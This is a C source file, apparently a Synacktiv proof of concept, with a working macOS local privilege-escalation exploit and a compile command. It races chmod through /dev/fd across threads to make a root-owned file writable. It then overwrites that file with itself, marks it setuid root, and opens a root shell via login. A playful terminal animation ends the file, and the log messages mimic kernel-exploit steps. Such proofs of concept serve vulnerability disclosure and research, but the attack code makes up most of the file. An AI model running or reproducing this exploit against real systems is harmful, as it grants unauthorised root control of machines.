README.md
Rendering markdown...
/*
* © 2023 Eloi Benoist-Vanderbeken <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
compile command:
$ gcc -Werror -Wall -Wextra exploit.c -lncurses -o exploit
*/
#include <copyfile.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <time.h>
#include <unistd.h>
void demo(void);
extern char **environ;
#define ENFORCE(cond, else_statement) \
do { \
if (__builtin_expect(!(cond), 0)) { \
fputs("\r", stderr); \
timed_log("[!] %s is false (l.%d / errno=%s)\n", #cond, __LINE__, \
strerror(errno)); \
else_statement; \
} \
} while (0)
static int my_chmod(char *path, int mode, int *old_mode);
static void *chmod_routine(void *arg);
static void timed_log(char *format, ...);
static void nop_signal_handler(int);
struct race_args {
char *target;
char *dev_fd_path;
atomic_bool race;
atomic_bool win;
int new_mode;
};
#define DEFAULT_VICTIM_PATH "/var/db/.configureLocalKDC"
int main(int argc, char **argv) {
int original_mode = -1, old_mode;
int error = 1;
pid_t ppid = -1;
ENFORCE(signal(SIGUSR1, nop_signal_handler) != SIG_ERR, return 1);
if (argc > 2) {
fputs(" OK!\n", stderr);
pid_t child_pid;
ENFORCE((child_pid = atoi(argv[2])) > 0, return 1);
ENFORCE(kill(child_pid, SIGUSR1) == 0, return 1);
ENFORCE(sleep(30) > 0, return 1);
ENFORCE(setuid(0) == 0, return 1);
timed_log("[+] root privileges: OK!\n");
char *argv[] = {"login", "-f", "root", NULL};
timed_log("[+] enjoy this root shell provided by Synacktiv!\n");
ENFORCE(execve("/usr/bin/login", argv, environ) == 0, return 1);
}
// just in case...
char *victim_path = DEFAULT_VICTIM_PATH;
if (argc > 1)
victim_path = argv[1];
timed_log("[+] initial setup: OK!\n");
char executable_path[2000];
uint32_t size = sizeof(executable_path);
ENFORCE(_NSGetExecutablePath(executable_path, &size) == 0, return 1);
timed_log("[+] kernel leak: OK!\n");
timed_log("[+] calculating heap layout...");
ENFORCE(my_chmod(victim_path, 0777, &original_mode) == 0, goto clean);
fputs(" OK!\n", stderr);
timed_log("[+] triggering OOB write...");
ENFORCE(copyfile(executable_path, victim_path, NULL, COPYFILE_DATA) == 0,
goto clean);
fputs(" OK!\n", stderr);
timed_log("[+] forging signed gadgets...");
ENFORCE(my_chmod(victim_path, 04755, &old_mode) == 0, goto clean);
fputs(" OK!\n", stderr);
timed_log("[+] triggering code exec...");
ppid = getpid();
pid_t pid = fork();
if (pid > 0) {
ppid = -1;
char pid_string[10];
ENFORCE(snprintf(pid_string, sizeof(pid_string), "%d", pid) <
(int)sizeof(pid_string),
goto clean);
char *argv[] = {"go", "go", pid_string, NULL};
ENFORCE(execve(victim_path, argv, environ) == 0, goto clean);
}
ENFORCE(pid == 0, ppid = -1; goto clean);
ENFORCE(sleep(30) > 0, goto clean);
error = 0;
clean:
timed_log("[+] primitive clean...");
ENFORCE(my_chmod(victim_path, 0777, &old_mode) == 0, error = 1);
fputs(" OK!\n", stderr);
ENFORCE(truncate(victim_path, 0) == 0, error = 1);
timed_log("[+] restoring initial state...");
ENFORCE(my_chmod(victim_path, original_mode, &original_mode) == 0, error = 1);
fputs(" OK!\n", stderr);
if (ppid > 0)
ENFORCE(kill(ppid, SIGUSR1) == 0, error = 1);
// only show off if we are root...
if (error == 0)
demo();
return error;
}
static int my_chmod(char *path, int mode, int *old_mode) {
static int nb_cpu = -1;
if (nb_cpu < 0) {
size_t nb_cpu_size = sizeof(nb_cpu);
ENFORCE(sysctlbyname("hw.ncpu", &nb_cpu, &nb_cpu_size, NULL, 0) == 0,
return 1);
}
int tmp_fd = -1, victim_fd = -1, blinking_fd = -1;
bool delete_tmp_file = false;
pthread_t threads[nb_cpu];
memset(threads, 0, sizeof(threads));
char tmp_file[] = "/tmp/synacktiv.XXXXXXXXXX";
char dev_fd_path[14];
struct race_args race_args = {.target = path,
.dev_fd_path = dev_fd_path,
.race = true,
.win = false,
.new_mode = mode};
int error = 1;
struct stat info;
ENFORCE(stat(path, &info) == 0, goto clean);
*old_mode = info.st_mode & 07777;
if (info.st_mode == mode)
return 0;
ENFORCE((tmp_fd = mkstemp(tmp_file)) >= 0, goto clean);
delete_tmp_file = true;
ENFORCE((victim_fd = open(path, O_RDONLY)) >= 0, goto clean);
ENFORCE((blinking_fd = dup(victim_fd)) >= 0, goto clean);
ENFORCE(snprintf(dev_fd_path, sizeof(dev_fd_path), "/dev/fd/%d",
blinking_fd) < (int)sizeof(dev_fd_path),
goto clean);
for (int i = 0; i < nb_cpu; i++)
ENFORCE(pthread_create(&threads[i], NULL, chmod_routine, &race_args) == 0,
goto clean);
while (race_args.race) {
ENFORCE(dup2(tmp_fd, blinking_fd) >= 0, goto clean);
ENFORCE(dup2(victim_fd, blinking_fd) >= 0, goto clean);
}
ENFORCE(race_args.win, goto clean);
error = 0;
clean:
race_args.race = false;
for (int i = 0; i < nb_cpu; i++)
if (threads[i] != NULL)
ENFORCE(pthread_join(threads[i], NULL) == 0, error = 1);
if (blinking_fd >= 0)
ENFORCE(close(blinking_fd) == 0, error = 1);
if (tmp_fd >= 0)
ENFORCE(close(tmp_fd) == 0, error = 1);
if (tmp_fd >= 0)
ENFORCE(close(victim_fd) == 0, error = 1);
if (delete_tmp_file)
ENFORCE(unlink(tmp_file) == 0, error = 1);
return error;
}
static void *chmod_routine(void *arg) {
struct race_args *race_args = arg;
while (race_args->race) {
if (chmod(race_args->dev_fd_path, race_args->new_mode) != 0)
continue;
struct stat info;
ENFORCE(stat(race_args->target, &info) == 0, goto out);
if ((info.st_mode & 07777) == race_args->new_mode) {
race_args->win = true;
break;
}
}
out:
race_args->race = false;
return NULL;
}
static void timed_log(char *format, ...) {
char buffer[30];
struct tm *time_info;
time_t t = time(NULL);
time_info = localtime(&t);
strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
fputs(buffer, stderr);
va_list args;
va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);
}
static void nop_signal_handler(int sig) { (void)sig; }
// the REAL stuff starts here!
#include <curses.h>
#include <sys/ioctl.h>
#include <term.h>
#define COUNT_OF(x) \
((sizeof(x) / sizeof(0 [x])) / ((size_t)(!(sizeof(x) % sizeof(0 [x])))))
#define FRAME_WIDTH 20
#define FRAME_HEIGHT 4
#define SLEEP_STEP 50
struct {
char *str;
int time;
} frames[] = {{" ===<\0"
" (°-°)\0"
" [[ ]]\0"
" |||\0",
700},
{" ===< 🍎\0"
" (°-°)\0"
" [[ ]]\0"
" ||| \0",
100},
{" ===< ||\0"
" (°-°) 🍎\0"
" [[ ]]\0"
" ||| \0",
100},
{" ===<\0"
" (°-°) ||\0"
" [[ ]] 🍎\0"
" ||| \0",
100},
{" ===<\0"
" (°-°)\0"
" [[ ]] ||\0"
" ||| 🍎\0",
100},
{" ===<\0"
" (°-°)\0"
" [[ ]]\0"
" ||| 🍎\0",
100},
{" >===\0"
" (c °)\0"
" [[ | \0"
" || 🍎\0",
500},
{" >=== ???\0"
" (c °)\0"
" [[ | \0"
" || 🍎\0",
500},
{" >===\0"
" (c °)\0"
" [[ |🔪 \0"
" || 🍎\0",
500},
{" >===\0"
" 🔪 `)\0"
" >> \0"
" || 🍎\0",
300},
{" >===\0"
" (c `)\0"
" << \\\\🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c °)\0"
" // |\0"
" \\\\ 💥\0",
100},
{" >===\0"
" (c °)\0"
" // | 💥 💥\0"
" \\\\ 💥\0",
100},
{" >===\0"
" (c °)\0"
" // |\0"
" \\\\ 💥\0",
100},
{" >===\0"
" (c °) 💥\0"
" // | 💥 💥 💥\0"
" \\\\ 💥\0",
100},
{" >=== !!!\0"
" (c °)\0"
" [[ | \0"
" || 💻\0",
600},
{"🍾 ===<\0"
" \\(^-^)/🏅\0"
" [ ]\0"
" ||| 💻\0",
1000},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100}};
void demo() {
ENFORCE(setupterm(NULL, STDOUT_FILENO, NULL) != ERR, goto fail);
char *cup = tigetstr("cup");
ENFORCE((cup != (char *)0) && (cup != (char *)-1), goto fail);
char *rc = tigetstr("rc");
ENFORCE((rc != (char *)0) && (rc != (char *)-1), goto fail);
char *sc = tigetstr("sc");
ENFORCE((sc != (char *)0) && (sc != (char *)-1), goto fail);
int i = 0;
int sleep_time = frames[i].time;
ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail);
ENFORCE(sleep_time > 0, goto fail);
do {
struct winsize winsize;
ENFORCE(ioctl(STDOUT_FILENO, TIOCGWINSZ, &winsize) != -1, goto fail);
ENFORCE(tputs(sc, 1, putchar) != ERR, goto fail);
// "clear" screen
for (int line = 0; line < FRAME_HEIGHT; line++) {
ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1,
putchar) != ERR,
goto fail);
for (int col = 0; col < FRAME_WIDTH; col++)
putchar(' ');
}
char *frame = frames[i].str;
int line = 0, pos = 0;
while (frame[pos] != '\0') {
ENFORCE(line < FRAME_HEIGHT, goto fail);
ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1,
putchar) != ERR,
goto fail);
printf("%s", &frame[pos]);
pos += strlen(&frame[pos]) + 1;
line++;
}
ENFORCE(tputs(rc, 1, putchar) != ERR, goto fail);
fflush(stdout);
if (sleep_time == 0) {
i = (i + 1) % COUNT_OF(frames);
sleep_time = frames[i].time;
ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail);
ENFORCE(sleep_time > 0, goto fail);
} else {
sleep_time -= SLEEP_STEP;
}
usleep(SLEEP_STEP * 1000);
} while (1);
fail:;
}